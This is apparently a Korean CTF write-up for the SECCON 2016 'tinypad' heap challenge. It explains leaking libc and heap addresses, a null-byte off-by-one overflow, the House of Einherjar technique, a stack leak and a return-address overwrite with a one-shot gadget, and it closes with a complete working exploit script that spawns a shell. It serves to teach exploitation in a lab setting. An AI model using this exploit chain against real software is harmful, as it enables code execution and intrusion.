y0u_bat

SECCON 2016-tinypad - 300pt 본문

CTF

SECCON 2016-tinypad - 300pt

유뱃 2017. 2. 7. 03:49

SECCON 2016-tinypad - 300pt


House of einherjar 라는 기술을 이용해서 풀어보았습니다.

오랜만에 상당히 재미있게 풀었습니다 ㅎㅎ

einherjar 기술외 unsafe_unlink를 통해서도 풀 수 있습니다.

1. 보호 기법 체크

NX, Cannry, Full RELRO가 걸려있습니다.

2. Libc & heap base Leak Vulnerability


unsorted bin을 통해서 libc_main_arena+88를 leak 해서 libc_base를 구 할 수 있습니다.

그리고 fastbin을 이용하여, heap base addrss를 구 할 수 있습니다.



memo를 총 4개까지 작성 가능합니다.

그리고 최대 0x100까지 할당 할수있습니다.

이렇게 할당하면 크기와 할당한청크는 tinypad라는 bss 영역에 저장되어서 관리 됩니다.




free할때도 tinypad에 저장된 청크주소를 free 하게끔 구현 되어 있습니다.

 
add_memo(120,"a") #1
add_memo(120,"b") #2
add_memo(256,"c") #3
delete_memo(2)
delete_memo(1)
delete_memo(3)


이런식으로 add_memo를 만들어줍니다.

1번과 2번 메모는 크기가 120이라 fastbin으로 분류되어 관리됩니다.

delete_memo 메뉴로 2번을 free하고 1번을 free하게 되면, fastbin이라 1번청크의 fd가 2번청크의 주소를 가르게 됩니다.

메뉴선택지가 나올때마다 해당메모에 대해서 print 해주니, 그걸 leak하면 2번청크의 주소를 구할수있고, 계산을 통해 heap_base 주소를 구할수있게 됩니다.

그리고 나서, delete_memo 메뉴로 3번을 free하게 되면, unsorted bin이라 3번청크의 fd와 bk 위치에 libc_main_arena+88 가 덮어써지는것을 볼 수 있습니다.

다시 메모가 print 될때 leak 해오면 됩니다. libc_main_arena+88를 통해 libc_base 주소를 구 할 수 있습니다.


3. Heap one-off-by overflow with null byte

null byte로 1byte를 overflow 일으킬 수 있습니다.

이 1byte를 null byte로 overflow를 시켜서 PREV_INUSE 비트1을 0으로 설정 할 수 있게 됩니다.

read_until 함수에 보면 (a1 + i) = 0 부분 때문에, 1바이트를 null byte로 오버플로우 일으킬 수 있습니다.

자 여기서 PREV_INUSE 비트를 0으로 설정 해줌으로써, 무슨 기술을 쓸수있나?..

unsafe_unlink 기술과 House of einherjar 기술을 쓸 수 있습니다.

unsafe_unlink 관련 문제는 이미 풀어보아서, 한번도 써본적 없는 House of einherjar으로 풀어보았습니다.

4. House of einherjar 간략 설명


House of einherjar 기술에 대해서 간단하게 소개를 하면, prev_size와 PREV_INUSE 비트를 조작하여,

이전청크랑 병합할때 prev_size를 속여서, 병합하고 다시 malloc으로 할당할때 fake_chunk쪽으로 리턴되게 하는 기술 입니다.

prev_size를 (&prev_size-&fake_chunk)로 조작하고 PREV_INUSE를 0으로 조작하고 병합 일으킨다음,

malloc으로 다시 할당하면, fake_chunk 위치로 리턴값이 반환됩니다.

이때 fake_chunk는 prev_size와 size, fd ,bk가 정상적으로 구성이 되어 있어야 됩니다.

 
fake_chunk[0] = 0x41414141; // prev_size not used
fake_chunk[1] = 0x100; 
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck



5. House of einherjar 기술 적용


우리는 heap one-off-by null byte overflow 취약점을 통해 PREV_INUSE를 0으로 설정 할 수 있습니다.

또한 prev_size도 조작이 가능하기 때문에, house of einherjar 기술을 사용 할 수 있는 조건이 충족됩니다.

edit_memo 메뉴를 보면, 잠깐 tinypad_bss에 임시로 청크에 있는 내용을 복사 했다가, 그 내용을 수정해서,

다시 청크에 tinypad_bss에 있는내용을 복사하는 방식입니다.



우리의 목적은 tinypad_bss 뒤쪽에 있는 chunk_ptr 입니다.

이 청크포인트들을 우리가 조작을 할 수 있게 된다면,

edit_memo할때 해당청크의 내용을 tinypad_bss에 임시로 복사하기 때문에, stack address 또한 leak 할 수 있게 되고, 그내용을 수정하고 다시 chunk_ptr에 복사하기. 원하는주소에 원하는내용으로 조작 할 수 있게 됩니다.

자 그래서 우리가 어떻게 tinypad_bss 뒤쪽에 chunk_ptr 들을 원하는값으로 조작 할 수 있냐?

House of einherjar 기술을 이용해서 가능합니다. tinypad_bss + 0x100 부터는 size, chunk_ptr이 저장되는 영역입니다.

edit_memo를 할때 tinypad_bss 끝쪽에 (tinypad_bss + 0x100 이전) fake_chunk를 작성하여

House of einherjar 기술로 malloc의 리턴값이 tinypad_bss + 0xf0 (0x602130)으로 가게 끔 memo를 만들면 됩니다.

memo는 최대 0x100 크기로 지정 해줄수 있으므로, tinypad_bss + 0x100부터 있는, chunk_ptr에 대해서 원하는 내용으로 덮어 쓸 수 있게 됩니다.

free_hook를 libc_system으로 덮어서 씌워서 full relro를 우회 할려고 했었는데, edit_memo에 보면, strlen으로 길이체크를 꼼꼼히 해서, 불가능하게 됐습니다.

그래서 Stack_address를 leak 하고, main의 return address 를 구해서, return address를 직접 조작하는 시나리오를 썼습니다.

6. Stack Address Leak

Stack Address를 leak 해야되는데, 이방법은 현재 chunk_ptr를 조작 가능하니, 청크포인터를 &__libc_argv 주소로 덮어 씌워서, edit_memo할때 stack argv address를 leak 했습니다.

해당 주소와 main의 return address까지의 거리는 0xe0 였습니다.


7. Exploit

이제 return address까지 알아냈으니, 청크포인트를 return adddress로 다시 바꿔주고,

원샷가젯으로 return address를 덮어주었습니다.

그리고 Q메뉴로 나가면, 쉘을 획득 할 수 있습니다.

8. Exploit.py

 
from zio import *
from struct import *
p32 = lambda x : pack("<L",x)
p64 = lambda x : pack("<Q",x)
u32 = lambda x : unpack("<L",x)[0]
u64 = lambda x : unpack("<Q",x)[0]
s = zio(("172.16.174.131",7777),timeout=1000000)
raw_input("")
print s.read_until("(CMD)>>> ")
def add_memo(size,content):
    s.write("A\n")
    print s.read_until("(SIZE)>>> ")
    s.write(str(size)+"\n")
    print s.read_until("(CONTENT)>>> ")
    s.write(str(content)+"\n")
    print s.read_until("(CMD)>>> ")
def delete_memo(index):
    s.write("D\n")
    print s.read_until("(INDEX)>>> ")
    s.write(str(index)+"\n")
    print s.read_until("(CMD)>>> ")
def edit_memo(index,content):
    s.write("E\n")
    print s.read_until("(INDEX)>>> ")
    s.write(str(index)+"\n")
    print s.read_until("(CONTENT)>>> ")
    s.write(str(content)+"\n")
    print s.read_until("(Y/n)>>> ")
    s.write("Y\n")
    print s.read_until("(CMD)>>> ")
def leak():
    add_memo(120,"a"*10)
    add_memo(120,"b"*10)
    add_memo(256,"c"*10)
    
    delete_memo(2)
    s.write("D\n")
    print s.read_until("(INDEX)>>> ")
    s.write("1\n")
    print s.read_until("CONTENT: ")
    heap_leak = s.read(3).ljust(8,"\x00")
    print s.read_until("(CMD)>>> ")
    
    s.write("D\n")
    print s.read_until("(INDEX)>>> ")
    s.write("3\n")
    print s.read_until("CONTENT: ")
    libc_leak = s.read(6).ljust(8,"\x00")
    
    print s.read_until("(CMD)>>> ")
    return heap_leak,libc_leak
def stack_leak():
    s.write("E\n")
    print s.read_until("(INDEX)>>> ")
    s.write("4\n")
    print s.read_until("CONTENT: ")
    stack_leak = s.read(6).ljust(8,"\x00")
    print s.read_until("(CONTENT)>>> ")
    s.write("\n")
    print s.read_until("(Y/n)>>> ")
    s.write("Y\n")
    print s.read_until("(CMD)>>> ")
    
    return stack_leak
def Q():
    s.write("Q\n")
    
heap_leak,libc_leak = leak()
heap_base = u64(heap_leak)-0x80
libc_base = u64(libc_leak)-88-0x3c3b20
libc_argv = libc_base + 0x3c82f8
libc_oneshot = libc_base + 0x0045216 
tinypad_bss = 0x602040
fake_chunk = 0x602120
size = (heap_base+128)-fake_chunk
add_memo(120,"C"*112)
add_memo(0xf8,"A"*0xf7)
add_memo(0x100,"c"*256)
delete_memo(1)
add_memo(120,"C"*114+"\x00"*6)
edit_memo(1,"a"*112+p64(size))
edit_memo(3,"c"*(256-32)+p64(0x41414141)+p64(0x200)+p64(fake_chunk)+p64(fake_chunk))
delete_memo(2)
add_memo(256,p64(0x4141414142424242)*3 + p64(tinypad_bss+0x138) + p64(0x4141414142424242) + p64(tinypad_bss+0x100+0x28) + p64(0x4141414142424242) + p64(libc_argv) + p64(0x4141414142424242) + p64(libc_argv))
stack_addr = stack_leak()
stack_argv_addr = u64(stack_addr)
print "[*] heap_base : " + hex(heap_base)
print "[*] libc_base : " + hex(libc_base)
print "[*] libc_oneshot : " + hex(libc_oneshot)
print "[*] libc_argv : " + hex(libc_argv)
print "[*] stack_argv_addr : " + hex(stack_argv_addr)
return_addr  = stack_argv_addr - 0xe0
print "[*] main_return_addr : " + hex(return_addr) 
edit_memo(2,p64(return_addr))
edit_memo(3,p64(libc_oneshot))
Q()

s.interact()

'CTF' 카테고리의 다른 글

Bitsctf Command_Line - 20pt  (0) 2017.02.05
Plaid CTF - prodmanager  (0) 2017.01.13
Christmas - who is solo?  (5) 2017.01.12
.  (0) 2017.01.10
[Defcon 2014] Babyfirst heap  (0) 2017.01.09
Comments